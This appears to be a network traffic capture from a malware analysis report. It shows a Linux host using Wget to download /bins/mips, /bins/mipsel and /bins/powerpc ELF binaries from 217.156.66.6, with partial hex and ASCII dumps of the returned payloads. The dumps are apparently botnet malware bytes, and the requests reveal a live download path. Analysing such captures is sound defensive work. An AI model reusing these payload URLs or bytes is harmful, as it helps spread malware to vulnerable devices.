Mar 31, 2025 14:08:37.627590895 CEST	1031	IN	Data Raw: 12 29 00 03 b3 28 00 03 52 00 58 89 58 88 0c 00 00 04 66 d8 4a 02 67 64 2f 0a 61 ff ff ff fb 6e 53 02 58 8f 10 2a 00 0d 15 6a 00 09 00 0d 15 6a 00 05 00 09 15 6a 00 01 00 05 15 40 00 01 10 2a 00 02 15 6a 00 0a 00 02 15 40 00 0a 10 2a 00 06 15 6a Data Ascii: )(RXXfJgd/anSXjjj@j@j@jjj@ JB`.,,,,,,,,,,,,,,,
Mar 31, 2025 14:08:37.627608061 CEST	1031	IN	Data Raw: 7c ff a8 ff f1 1d 7c ff d5 ff f2 1d 7c ff 8b ff f3 1d 7c ff ca ff f4 1d 7c ff dc ff f5 1d 7c 00 6a ff f6 1d 7c 00 1f ff f7 20 0c 02 80 80 00 00 ff 6d 00 02 e0 1d 40 ff f8 20 0d 02 80 80 00 00 ff 6d 00 02 b2 1d 40 ff f9 20 2e ff b4 02 80 80 00 00 Data Ascii: \|\|\|\|\|\|j\| m@ m@ .m@ .mR@ .m"@ .m@ .m@ m<@HxB./a&HB./<Hx/./E<N6BHx/./
Mar 31, 2025 14:08:37.627623081 CEST	1031	IN	Data Raw: 80 00 00 ff 6c 00 fb 88 60 00 ff 2a 53 80 74 ff 46 02 80 82 52 80 1d 40 ff db 20 07 02 80 80 00 00 ff 6c 00 fb 5a 60 c6 53 80 74 ff 46 02 80 82 52 80 1d 40 ff d0 1d 7c ff b3 ff d1 1d 7c 00 2f ff d2 1d 7c ff a8 ff d3 42 2e ff d4 42 2e ff d5 42 2e Data Ascii: l`StFR@ lZ`StFR@\|\|/\|B.B.B.\|\|e\|2\|c l`StFR@ l`StFR@ lj`SpFRB l>`L<N^NuOH?>///\|82
Mar 31, 2025 14:08:37.627638102 CEST	1031	IN	Data Raw: 6c 2d 88 c8 00 50 8f 61 ff 00 00 50 d6 35 40 00 02 42 a7 48 78 00 02 48 78 00 02 20 47 4e 90 2a 80 4f ef 00 0c 72 ff b2 80 67 00 00 9a 3f 7c 00 02 00 68 3f 45 00 6a 42 af 00 6c 48 78 00 10 48 6f 00 6c 2f 00 61 ff 00 00 a8 a2 4f ef 00 0c 0c 2a 00 Data Ascii: l-PaP5@BHxHx GNOrg?\|h?EjBlHxHol/aOcdHx//aRXEOfz`$aP\B%BHx//azRXEOfX`aP$:`*L\|OLNuH8 o(//B/Jo (gC
Mar 31, 2025 14:08:37.627662897 CEST	1031	IN	Data Raw: 24 6f 00 30 42 82 20 12 67 06 2f 00 4e 93 58 8f 52 82 5c 8a b4 83 66 ee 2f 2f 00 30 4e 93 58 8f 60 00 00 e4 1f 52 00 2f 66 34 42 af 00 34 42 af 00 30 61 ff 00 00 70 6a 42 90 2f 2f 00 30 2f 2f 00 38 2f 0d 2f 06 42 80 10 2f 00 3e 2f 00 2f 07 61 ff Data Ascii: $o0B g/NXR\f//0NX`R/f4B4B0apjB//0//8//B/>//aO`~HxB/3/N/H8/E<PJ4o SgXA"o0PSgFRWBn8GI$IBHx BHhN$///a]~ROg^ gA($LPSgR&S
Mar 31, 2025 14:08:37.627679110 CEST	1031	IN	Data Raw: 06 00 04 20 bc 80 00 23 a2 42 80 10 39 80 01 54 6e e5 88 20 40 48 68 00 04 2f 39 80 01 54 70 4e 93 23 c8 80 01 54 70 12 39 80 01 54 6e 42 80 10 01 21 8a 0c 00 52 01 13 c1 80 01 54 6e 4f ef 00 1c 2e bc 00 00 00 06 48 78 00 01 4e 94 24 48 11 7c 00 Data Ascii: #B9Tn @Hh/9TpN#Tp9TnB!RTnO.HxN$H\| B9Tn @Hh/9TpN#Tp9TnB!RTnHxHxN$H\| BB9Tn @Hh/9TpN#Tp9TnB!RTnO.HxN$H\|
Mar 31, 2025 14:08:37.627720118 CEST	1031	IN	Data Raw: 4f ef 00 14 72 ff b2 80 67 00 04 b2 3f 4b 00 42 3f 47 00 46 3f 46 00 48 1f 44 00 4f 42 af 00 5c 2e 3c 80 00 63 be 4a 85 6f 00 01 16 30 2f 00 4c 3a 40 4b ed 00 42 3c 00 06 46 00 1c 38 0b 46 44 36 00 50 43 42 82 2e 3c 80 00 63 be 48 78 00 04 48 78 Data Ascii: Org?KB?GF?FHDOB\.<cJo0/L:@KB<F8FD6PCB.<cHxHxa""o<#, /d$qCAG&I:proI5M5oJoLPJ/Eg5\|@\|/%o8 /\$"%v3\|eX1\|proA7F7D
Mar 31, 2025 14:08:37.627743006 CEST	1031	IN	Data Raw: 47 4e 90 2f 40 00 54 22 47 4e 91 2f 40 00 50 48 78 00 04 48 6f 00 5c 2f 0d 20 46 4e 90 48 78 00 04 48 6f 00 64 48 6d 00 06 22 46 4e 91 48 78 00 02 48 6f 00 6c 48 6d 00 04 20 46 4e 90 4f ef 00 20 2e bc 00 00 00 02 48 6f 00 56 48 6d 00 0a 22 46 4e Data Ascii: GN/@T"GN/@PHxHo\/ FNHxHodHm"FNHxHolHm FNO .HoVHm"FNOJ/Ng`"GN5@@F@7@oFf< GN8oHf6`NF'@8F9oH9C$/\R/B\n`//<aZXL\|O4NuOH?>*oX$/`B/_HxB
Mar 31, 2025 14:08:37.853873968 CEST	1031	IN	Data Raw: 2f 0b 61 ff 00 00 29 e8 39 40 00 06 22 2f 00 6c 24 01 e5 8a 20 01 e9 88 90 82 90 81 d0 80 3b bc 00 02 08 00 2b aa 00 10 08 04 42 75 08 02 4f ef 00 1c 2e bc 00 00 00 10 48 75 08 00 48 78 40 00 2f 2f 00 3c 2f 0a 2f 07 61 ff 00 00 96 74 24 2f 00 64 Data Ascii: /a)9@"/l$ ;+BuO.HuHx@//<//at$/dR/BdOnJo`//DHla=PBjHx/N5@BkHx/N7@Bl//<B0,///a):9@"/l$ ;+BuO.HuHx@//</

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	48280	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:39.178551912 CEST	160	OUT	GET /bins/mips HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:39.426646948 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:39 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:11 GMT ETag: "18a68-6319446b278be" Accept-Ranges: bytes Content-Length: 100968 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 00 02 00 08 00 00 00 01 00 40 02 60 00 00 00 34 00 01 87 c0 00 00 10 07 00 34 00 20 00 03 00 28 00 11 00 10 00 00 00 01 00 00 00 00 00 40 00 00 00 40 00 00 00 01 67 24 00 01 67 24 00 00 00 05 00 01 00 00 00 00 00 01 00 01 70 00 00 45 70 00 00 45 70 00 00 00 0a 0c 00 00 6c 70 00 00 00 06 00 01 00 00 64 74 e5 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 3c 1c 00 06 27 9c f3 6c 03 99 e0 21 27 bd ff e0 af bc 00 10 af bf 00 1c af bc 00 18 04 11 00 01 00 00 00 00 3c 1c 00 06 27 9c f3 48 03 9f e0 21 8f 99 80 20 00 00 00 00 27 39 01 dc 03 20 f8 09 00 00 00 00 8f bc 00 10 00 00 00 00 04 11 00 01 00 00 00 00 3c 1c 00 06 27 9c f3 18 03 9f e0 21 8f 99 80 1c 00 00 00 00 27 39 4d e0 03 20 f8 09 00 00 00 00 8f bc 00 10 00 00 00 00 8f bf 00 1c 00 00 00 00 03 e0 00 08 27 bd 00 20 3c 1c 00 06 27 9c f2 e0 03 99 e0 21 27 bd ff d8 af bf 00 20 af b1 00 1c af b0 00 18 af bc 00 10 8f 91 80 18 00 00 00 00 92 22 7a 20 00 00 00 00 14 40 [TRUNCATED] Data Ascii: ELF@`44 (@@g$g$pEpEplpdtQ<'l!'<'H! '9 <'!'9M ' <'!' "z @p0Y $B p0p0Y $B@$ $g $"z '(<'$!'$g @$z$ p@$p ' ' !<'!!@'$$'\ <'0!$$
Mar 31, 2025 14:08:39.426794052 CEST	1031	IN	Data Raw: 00 01 90 a2 00 02 24 a9 00 08 a0 82 00 02 90 a3 00 03 24 88 00 08 a0 83 00 03 90 a2 00 04 24 ab 00 0c a0 82 00 04 90 e3 00 01 24 8a 00 0c a0 c3 00 01 90 e2 00 02 8f 8f 80 1c a0 c2 00 02 90 e3 00 03 8f 8e 80 1c a0 c3 00 03 90 a2 00 08 00 80 60 21 Data Ascii: $$$$`!#&"bBcCbB$%N%P C(! !@!
Mar 31, 2025 14:08:39.426805973 CEST	1031	IN	Data Raw: 2b 58 26 01 89 48 26 00 c8 30 26 01 75 58 26 01 32 40 26 02 11 80 26 00 85 20 26 01 a7 38 26 24 42 00 01 01 66 58 26 01 10 40 26 00 87 20 26 af a2 00 18 a3 cb 00 00 a3 c8 00 01 a3 c3 00 02 a3 c4 00 03 8f a3 00 18 24 02 00 04 14 62 ff 51 27 de 00 Data Ascii: +X&H&0&uX&2@&& &8&$BfX&@& &$bQ'@<840,($ 'H<'!'LHD@<840,(!!! $VP$rO!$$
Mar 31, 2025 14:08:39.426816940 CEST	1031	IN	Data Raw: 8f bf 00 4c 8f be 00 48 8f b7 00 44 8f b6 00 40 8f b5 00 3c 8f b4 00 38 8f b3 00 34 8f b2 00 30 8f b1 00 2c 8f b0 00 28 03 e0 00 08 27 bd 00 50 3c 1c 00 06 27 9c e8 e8 03 99 e0 21 27 bd ff d8 af bf 00 20 af b1 00 1c af b0 00 18 af bc 00 10 8f 99 Data Ascii: LHD@<840,('P<'!' !'9 !&"CCDDEEFF '(<'X!'\XTPLHD@
Mar 31, 2025 14:08:39.426827908 CEST	1031	IN	Data Raw: 10 00 00 00 00 8f 99 83 e0 00 00 00 00 03 20 f8 09 af a2 00 58 8f bc 00 10 00 00 00 00 8f 99 83 e0 00 00 00 00 03 20 f8 09 af a2 00 54 8f bc 00 10 00 00 00 00 8f 99 83 e0 00 00 00 00 03 20 f8 09 af a2 00 50 00 40 48 21 3c 02 80 00 34 47 00 ff 24 Data Ascii: X T P@H!<4G$8$6$'$`G $g$`$$/ $$e$%&$2$c $'(!"#%$$`)
Mar 31, 2025 14:08:39.426841021 CEST	1031	IN	Data Raw: 00 00 8f bc 00 10 00 00 00 00 8f 99 85 64 00 00 00 00 03 20 f8 09 02 c0 20 21 8f bc 00 10 10 00 ff ac 00 00 00 00 8e 30 00 10 03 20 f8 09 00 00 00 00 92 23 00 14 8f bc 00 10 00 62 10 06 02 02 80 21 10 00 ff b6 ae 30 00 04 26 10 ff ff 24 02 ff 00 Data Ascii: d !0 #b!0&$%&'$a$c$b%$cG $$$ %$g$a$c$b%$c$c$b%d$c$$ %\$$c$b%R$c$$
Mar 31, 2025 14:08:39.427021027 CEST	1031	IN	Data Raw: bc 00 10 8f a2 00 60 34 03 ff ff 8f 99 83 88 10 43 00 3e 00 00 00 00 a6 22 00 02 8f 99 84 f0 24 04 00 02 24 05 00 01 03 20 f8 09 00 00 30 21 8f bc 00 10 24 03 ff ff 26 f7 00 01 8f 99 84 30 00 40 20 21 27 a5 00 18 24 06 00 10 27 de 00 04 10 43 00 Data Ascii: `4C>"$$ 0!$&0@ !'$'C3$ ",B @ (!0 #b!0 (! $&&1@`!!(!$6$@ &1
Mar 31, 2025 14:08:39.427031994 CEST	1031	IN	Data Raw: 03 e0 00 08 27 bd 00 20 8f 99 84 40 00 00 00 00 03 20 f8 09 24 05 00 09 8e 04 00 04 8f bc 00 10 10 80 ff dc ae 00 00 00 8f 99 84 40 00 00 00 00 03 20 f8 09 24 05 00 09 8e 04 00 08 8f bc 00 10 10 80 ff d8 ae 00 00 04 8f 99 84 40 00 00 00 00 03 20 Data Ascii: ' @ $@ $@ $@ $@ $@ $@ $@
Mar 31, 2025 14:08:39.427042007 CEST	1031	IN	Data Raw: 21 03 c0 88 21 8f bc 00 18 27 de 00 08 24 93 ff fe 24 72 00 02 16 96 ff e2 24 85 ff ff 10 00 ff b6 00 00 00 00 3c 1c 00 06 27 9c d5 0c 03 99 e0 21 30 84 00 ff 10 80 00 0e 30 c6 00 ff 90 a2 00 04 30 c6 00 ff 10 46 00 0c 24 a3 00 08 10 00 00 05 00 Data Ascii: !!'$$r$<'!000F$@!b$c%`(!!$ <'!000F$@!b$c%`(!!
Mar 31, 2025 14:08:39.427052975 CEST	1031	IN	Data Raw: 00 00 24 02 00 06 00 05 28 80 ae 23 00 00 a2 22 00 04 03 20 f8 09 24 a5 00 04 92 04 00 00 8f bc 00 10 00 04 18 80 8f 99 84 68 00 62 18 21 24 84 00 01 ac 71 00 00 ae 42 00 00 a2 04 00 00 24 05 00 08 03 20 f8 09 24 04 00 01 8f bc 00 10 92 05 00 00 Data Ascii: $(#" $hb!$qB$ $@!D$(#" $hb!$qB$ $@!D$(#" $hb!$
Mar 31, 2025 14:08:39.653058052 CEST	1031	IN	Data Raw: 00 28 21 8f 99 82 c8 02 20 20 21 24 06 00 04 24 07 00 40 03 20 f8 09 00 40 b0 21 8f bc 00 18 30 42 00 ff 8f 99 82 c8 02 00 28 21 02 20 20 21 24 06 00 05 24 07 00 01 03 20 f8 09 af a2 00 50 8f bc 00 18 00 02 16 00 8f 99 82 c8 00 02 16 03 02 00 28 Data Ascii: (! !$$@ @!0B(! !$$ P(!$4 ! L(! !$4 @!(! !0!$ @!(! !$$ @(! !$8! <

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	48282	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:40.528894901 CEST	162	OUT	GET /bins/mipsel HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:40.757318974 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:40 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:12 GMT ETag: "18a68-6319446c77f7b" Accept-Ranges: bytes Content-Length: 100968 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 08 00 01 00 00 00 60 02 40 00 34 00 00 00 c0 87 01 00 07 10 00 00 34 00 20 00 03 00 28 00 11 00 10 00 01 00 00 00 00 00 00 00 00 00 40 00 00 00 40 00 24 6f 01 00 24 6f 01 00 05 00 00 00 00 00 01 00 01 00 00 00 00 70 01 00 00 70 45 00 00 70 45 00 0c 0a 00 00 70 6c 00 00 06 00 00 00 00 00 01 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 06 00 1c 3c 6c f3 9c 27 21 e0 99 03 e0 ff bd 27 10 00 bc af 1c 00 bf af 18 00 bc af 01 00 11 04 00 00 00 00 06 00 1c 3c 48 f3 9c 27 21 e0 9f 03 20 80 99 8f 00 00 00 00 dc 01 39 27 09 f8 20 03 00 00 00 00 10 00 bc 8f 00 00 00 00 01 00 11 04 00 00 00 00 06 00 1c 3c 18 f3 9c 27 21 e0 9f 03 1c 80 99 8f 00 00 00 00 e0 55 39 27 09 f8 20 03 00 00 00 00 10 00 bc 8f 00 00 00 00 1c 00 bf 8f 00 00 00 00 08 00 e0 03 20 00 bd 27 06 00 1c 3c e0 f2 9c 27 21 e0 99 03 d8 ff bd 27 20 00 bf af 1c 00 b1 af 18 00 b0 af 10 00 bc af 18 80 91 8f 00 00 00 00 20 7a 22 92 00 00 00 00 1d 00 [TRUNCATED] Data Ascii: ELF`@44 (@@$o$oppEpEplQtd<l'!'<H'! 9' <'!U9' '<'!' z"@0pY B$ 0p0pY B$@$ o$$ z" ('<$'!' o$@$z$ p@p$ ' '!<'!!@'$$'\ <0'!$$
Mar 31, 2025 14:08:40.757329941 CEST	1031	IN	Data Raw: 83 a0 02 00 a2 90 08 00 a9 24 02 00 82 a0 03 00 a3 90 08 00 88 24 03 00 83 a0 04 00 a2 90 0c 00 ab 24 04 00 82 a0 01 00 e3 90 0c 00 8a 24 01 00 c3 a0 02 00 e2 90 1c 80 8f 8f 02 00 c2 a0 03 00 e3 90 1c 80 8e 8f 03 00 c3 a0 08 00 a2 90 21 60 80 00 Data Ascii: $$$$!`#&"bBcCbB$V%X% !(C! !@!
Mar 31, 2025 14:08:40.757339954 CEST	1031	IN	Data Raw: 58 2b 01 26 48 89 01 26 30 c8 00 26 58 75 01 26 40 32 01 26 80 11 02 26 20 85 00 26 38 a7 01 01 00 42 24 26 58 66 01 26 40 10 01 26 20 87 00 18 00 a2 af 00 00 cb a3 01 00 c8 a3 02 00 c3 a3 03 00 c4 a3 18 00 a3 8f 04 00 02 24 51 ff 62 14 04 00 de Data Ascii: X+&H&0&Xu&@2&& &8B$&Xf&@& $Qb'@<840,($ H'<'!'LHD@<840,(!!! PV$Wr$!$$
Mar 31, 2025 14:08:40.757350922 CEST	1031	IN	Data Raw: 4c 00 bf 8f 48 00 be 8f 44 00 b7 8f 40 00 b6 8f 3c 00 b5 8f 38 00 b4 8f 34 00 b3 8f 30 00 b2 8f 2c 00 b1 8f 28 00 b0 8f 08 00 e0 03 50 00 bd 27 06 00 1c 3c e8 e8 9c 27 21 e0 99 03 d8 ff bd 27 20 00 bf af 1c 00 b1 af 18 00 b0 af 10 00 bc af 20 80 Data Ascii: LHD@<840,(P'<'!' !9' !"&CCDDEEFF ('<X'!'\XTPLHD@<
Mar 31, 2025 14:08:40.757458925 CEST	1031	IN	Data Raw: 8f 00 00 00 00 09 f8 20 03 5c 00 a2 af 10 00 bc 8f 00 00 00 00 e0 83 99 8f 00 00 00 00 09 f8 20 03 58 00 a2 af 10 00 bc 8f 00 00 00 00 e0 83 99 8f 00 00 00 00 09 f8 20 03 54 00 a2 af 10 00 bc 8f 00 00 00 00 e0 83 99 8f 00 00 00 00 09 f8 20 03 50 Data Ascii: \ X T P!H@<G48$6$$$'`$ G$g`$/$ $e$$%&2$c$$ '(!"#;$
Mar 31, 2025 14:08:40.757496119 CEST	1031	IN	Data Raw: 60 00 09 f8 20 03 00 00 00 00 10 00 bc 8f 00 00 44 8e b4 81 99 8f 00 00 00 00 09 f8 20 03 00 00 00 00 10 00 bc 8f 00 00 00 00 64 85 99 8f 00 00 00 00 09 f8 20 03 21 20 a0 02 10 00 bc 8f ac ff 00 10 ff ff 02 34 10 00 30 8e 09 f8 20 03 00 00 00 00 Data Ascii: ` D d ! 40 $ 2".&%%e%!$2&%%D%0&$%&$'ac$$%bc$$ G$$%
Mar 31, 2025 14:08:40.757509947 CEST	1031	IN	Data Raw: ff 02 34 10 00 bc 8f 18 00 a0 af 1c 00 a0 af 20 00 a0 af 88 00 62 10 24 00 a0 af ff 00 62 30 00 12 02 00 02 1a 03 00 25 f0 62 00 60 00 40 1a 00 00 00 00 60 00 a3 8f 21 88 a0 02 ff 00 62 30 00 12 02 00 02 1a 03 00 25 18 62 00 21 a8 60 02 21 b0 00 Data Ascii: 4 b$b0%b`@`!b0%b!`!d $&N1&h4 $`4Td%$$ !0$&0! @'$&GC$
Mar 31, 2025 14:08:40.757522106 CEST	1031	IN	Data Raw: 00 00 00 00 04 00 82 90 00 00 00 00 f8 ff 51 14 04 00 63 24 00 00 99 8c 4c 00 a7 8f 21 20 60 02 21 28 a0 02 09 f8 20 03 21 30 80 02 10 00 bc 8f db ff 00 10 00 00 00 00 06 00 1c 3c f4 d8 9c 27 21 e0 99 03 e0 ff bd 27 1c 00 bf af 18 00 b0 af 10 00 Data Ascii: Qc$L! `!( !0<'!'`"&*.26:> '@
Mar 31, 2025 14:08:40.758301020 CEST	1031	IN	Data Raw: 32 02 26 15 00 00 00 40 ac 00 36 15 00 25 20 83 00 24 00 a2 8f 28 00 a3 8f 00 2a 05 00 25 28 a6 00 94 83 99 8f 20 00 a7 8f 25 20 85 00 10 00 b6 af 14 00 a2 af ff 00 65 30 09 f8 20 03 21 30 e0 02 18 00 bc 8f b8 ff 00 10 00 00 00 00 68 84 99 8f 21 Data Ascii: 2&@6% $(%( % e0 !0h! $$&@&B$`P&p@$$R&!b"p*p@h& $!(@T"!
Mar 31, 2025 14:08:40.758312941 CEST	1031	IN	Data Raw: a5 24 00 00 04 92 10 00 bc 8f 80 18 04 00 68 84 99 8f 21 18 62 00 01 00 84 24 00 00 71 ac 00 00 42 ae 00 00 04 a2 08 00 05 24 09 f8 20 03 01 00 04 24 10 00 bc 8f 00 00 05 92 d4 83 83 8f b4 83 99 8f 21 88 40 00 00 00 44 8e 05 00 02 24 80 28 05 00 Data Ascii: $h!b$qB$ $!@D$(#" $h!b$qB$ $!@D$(#" $h!b$qB$ $
Mar 31, 2025 14:08:41.022712946 CEST	1031	IN	Data Raw: 84 83 8f 21 88 40 00 00 00 44 8e b4 83 99 8f 63 00 02 24 80 28 05 00 00 00 23 ae 04 00 22 a2 09 f8 20 03 04 00 a5 24 00 00 04 92 10 00 bc 8f 80 18 04 00 21 18 62 00 01 00 84 24 00 00 42 ae 00 00 71 ac 00 00 04 a2 24 00 bf 8f 20 00 b2 8f 1c 00 b1 Data Ascii: !@Dc$(#" $!b$Bq$ $('<'!X'h0! $! 0!(! $!8 dB0!($

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	48284	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:42.326387882 CEST	163	OUT	GET /bins/powerpc HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:42.555273056 CEST	1031	IN	Data Raw: 7c bd 2b 78 93 c1 00 68 93 e1 00 6c 92 01 00 30 92 21 00 34 92 c1 00 48 48 00 a5 a1 7c 73 1b 78 7f 84 e3 78 38 a0 00 02 38 c0 00 00 7f a3 eb 78 4b ff f9 79 38 c0 00 00 60 c6 ff ff 38 a0 00 03 7f 84 e3 78 54 6e 06 3e 7f a3 eb 78 4b ff f9 5d 7f 84 Data Ascii: \|+xhl0!4HH\|sxx88xKy8`8xTn>xK]x88@\|xxxKEx88Tt>xK-8`8xT>xK8x`8\|zxxKx88\|{xxKx88\|oxxKx88
Mar 31, 2025 14:08:42.555284977 CEST	1031	IN	Data Raw: 06 7d c4 73 78 38 a0 00 04 48 00 60 f5 38 7e 00 04 38 81 00 14 38 a0 00 02 48 00 60 e5 38 7e 00 0a 38 81 00 16 38 a0 00 02 48 00 60 d5 40 8a 01 30 b3 5c 00 0a 38 80 00 14 7f 83 e3 78 48 00 32 11 38 80 00 14 b0 7c 00 0a 7f e3 fb 78 b3 5f 00 0a 48 Data Ascii: }sx8H`8~88H`8~88H`@0\8xH28\|x_H1dx~x[xH2E\|9 {x~x\|}9.g~xG8@9H!9)!A@KHJ}!V >~ V>)})\|c0
Mar 31, 2025 14:08:42.828361034 CEST	1031	IN	Data Raw: 40 00 b0 1f 00 06 39 60 00 2f 38 00 08 00 99 7f 00 09 b0 09 00 02 81 21 00 08 81 61 00 18 1d 29 00 18 80 1f 00 18 91 7f 00 0c 39 60 00 04 7d 29 d2 14 51 60 e0 06 81 69 00 10 39 20 00 05 51 20 c1 0e 90 1f 00 18 91 7f 00 10 99 de 00 01 b3 1e 00 02 Data Ascii: @9`/8!a)9`})Q`i9 Q ~A9`@~8HF8~\|@K~xHht$(\|,} 0!4A8a<@DHLP!TAXa\`dhl8!pN -
Mar 31, 2025 14:08:42.887672901 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:42 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:19 GMT ETag: "12c0c-631944730ace3" Accept-Ranges: bytes Content-Length: 76812 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 00 02 00 14 00 00 00 01 10 00 01 f0 00 00 00 34 00 01 29 b4 00 00 00 00 00 34 00 20 00 03 00 28 00 0f 00 0e 00 00 00 01 00 00 00 00 10 00 00 00 10 00 00 00 00 01 18 58 00 01 18 58 00 00 00 05 00 01 00 00 00 00 00 01 00 01 18 58 10 02 18 58 10 02 18 58 00 00 03 ac 00 00 65 ac 00 00 00 06 00 01 00 00 64 74 e5 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 94 21 ff e0 7c 08 02 a6 90 01 00 24 48 00 00 c9 48 00 ff d1 80 01 00 24 38 21 00 20 7c 08 03 a6 4e 80 00 20 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 90 01 00 14 88 1e 1c 5c 93 e1 00 0c 2f 80 00 00 40 9e 00 5c 3f e0 10 02 81 7f 18 74 81 2b 00 00 2f 89 00 00 41 9e 00 24 38 0b 00 04 7d 29 03 a6 90 1f 18 74 4e 80 04 21 81 7f 18 74 81 2b 00 00 2f 89 00 00 40 9e ff e4 3d 20 00 00 39 29 00 00 2f 89 00 00 41 9e 00 10 3c 60 10 01 38 63 18 54 4b ff fe d9 38 00 00 01 98 1e 1c 5c 80 01 00 14 83 c1 00 08 83 e1 00 0c 7c 08 03 a6 38 21 00 10 4e 80 00 20 7c 08 02 a6 94 21 [TRUNCATED] Data Ascii: ELF4)4 (XXXXXedtQ!\|$HH$8! \|N !\|?\/@\?t+/A$8})tN!t+/@= 9)/A<`8cTK8\\|8!N \|!8!\|N = \|9)!/<`<8cT8`AKm=`= h9)8kh/A/A})N!8!\|N \|!8!\|N \|)xT!6=98!\|8\|hx<8<8<`8ciHP!9D9c8988\|lx\|x;??*+'('(%&%
Mar 31, 2025 14:08:43.130487919 CEST	1031	IN	Data Raw: 00 01 99 5f 00 02 98 9f 00 0a 99 1f 00 06 98 7f 00 0e 98 ff 00 03 98 df 00 07 98 bf 00 0b 9b 9f 00 0f 88 0c 00 00 89 2c 00 04 89 6c 00 08 89 4c 00 0c 7d 1e 00 ae 7c fe 48 ae 7c 1e 58 ae 7d 3e 50 ae 99 0c 00 00 98 ec 00 04 98 0c 00 08 99 2c 00 0c Data Ascii: _,lL}\|H\|X}>P,9BW` 6x\|8\|g(\|ZxhH})x(}kxh8}JxH9B/AxK8T>Ky;@?\|Zx
Mar 31, 2025 14:08:43.130522013 CEST	1031	IN	Data Raw: 21 00 50 4e 80 00 20 7c 08 02 a6 94 21 ff 70 91 c1 00 48 90 01 00 94 91 e1 00 4c 92 01 00 50 92 21 00 54 92 41 00 58 92 61 00 5c 92 81 00 60 7c 74 1b 78 92 a1 00 64 7c d5 33 78 92 c1 00 68 7c b6 2b 78 92 e1 00 6c 93 01 00 70 93 21 00 74 93 41 00 Data Ascii: !PN \|!pHLP!TAXa\`\|txd\|3xh\|+xlp!tAxa\|\|#xH\|xxH}\|wxHu\|}xHm\|\|xHe\|{xH]\|zxHU\|yxHM\|rxHE\|qxH=\|pxH5\|oxH-\|nxH%\|xH\|sxH869 88
Mar 31, 2025 14:08:43.355297089 CEST	1031	IN	Data Raw: 03 99 26 00 03 88 83 00 0c 88 a3 00 0d 88 c3 00 0e 88 e3 00 0f 48 00 00 18 88 9f 00 0c 88 bf 00 0d 88 df 00 0e 88 ff 00 0f 40 82 00 30 39 3c 01 00 57 c0 f0 be 39 7d 03 00 7d 49 28 ae 7d 0b 00 ae 20 1e 00 2c 7c 09 03 a6 7c a9 30 ae 7c c9 38 ae 7c Data Ascii: &H@09<W9}}I(} ,\|\|0\|8\| }DBx,;l;L\|Jx\|Zx\|Rx,\|xlsLxB8! N !8\|\|lxa !$A(a,04
Mar 31, 2025 14:08:43.355353117 CEST	1031	IN	Data Raw: 48 00 b2 01 2f 83 ff ff 90 7d 00 00 41 be ff 14 88 1c 00 14 2b 80 00 1f 41 9d ff 98 83 7c 00 10 48 00 5f 11 88 1c 00 14 7c 63 04 30 7c 7b 1a 14 90 7c 00 04 4b ff ff 7c 80 7d 00 00 48 00 b1 11 80 7d 00 00 48 00 80 49 7f 23 cb 78 48 00 c6 89 4b ff Data Ascii: H/}A+A\|H_\|c0\|{\|K\|}H}HI#xHKX\|H^\|c0\|{\|Kh!p\|}&a\|;a\|#x<Ax8\|+x\|}x86cx\!t\|3x;`dhlpH-HaHaH
Mar 31, 2025 14:08:43.581942081 CEST	1031	IN	Data Raw: 14 7c bd 2b 78 93 c1 00 18 7c 9e 23 78 93 e1 00 1c 7c 7f 1b 78 90 01 00 24 48 00 7c c1 2f 83 ff ff 41 9e 00 0c 2f 83 00 00 40 9d 00 2c 80 01 00 24 83 41 00 08 83 61 00 0c 7c 08 03 a6 83 81 00 10 83 a1 00 14 83 c1 00 18 83 e1 00 1c 38 21 00 20 4e Data Ascii: \|+x\|#x\|x$H\|/A/@,$Aa\|8! N H\|/A /@ xHH}A8H}8`H= /@= \|I9`*A 9kB@Ui:})P.@)xxex})FxN!K\|
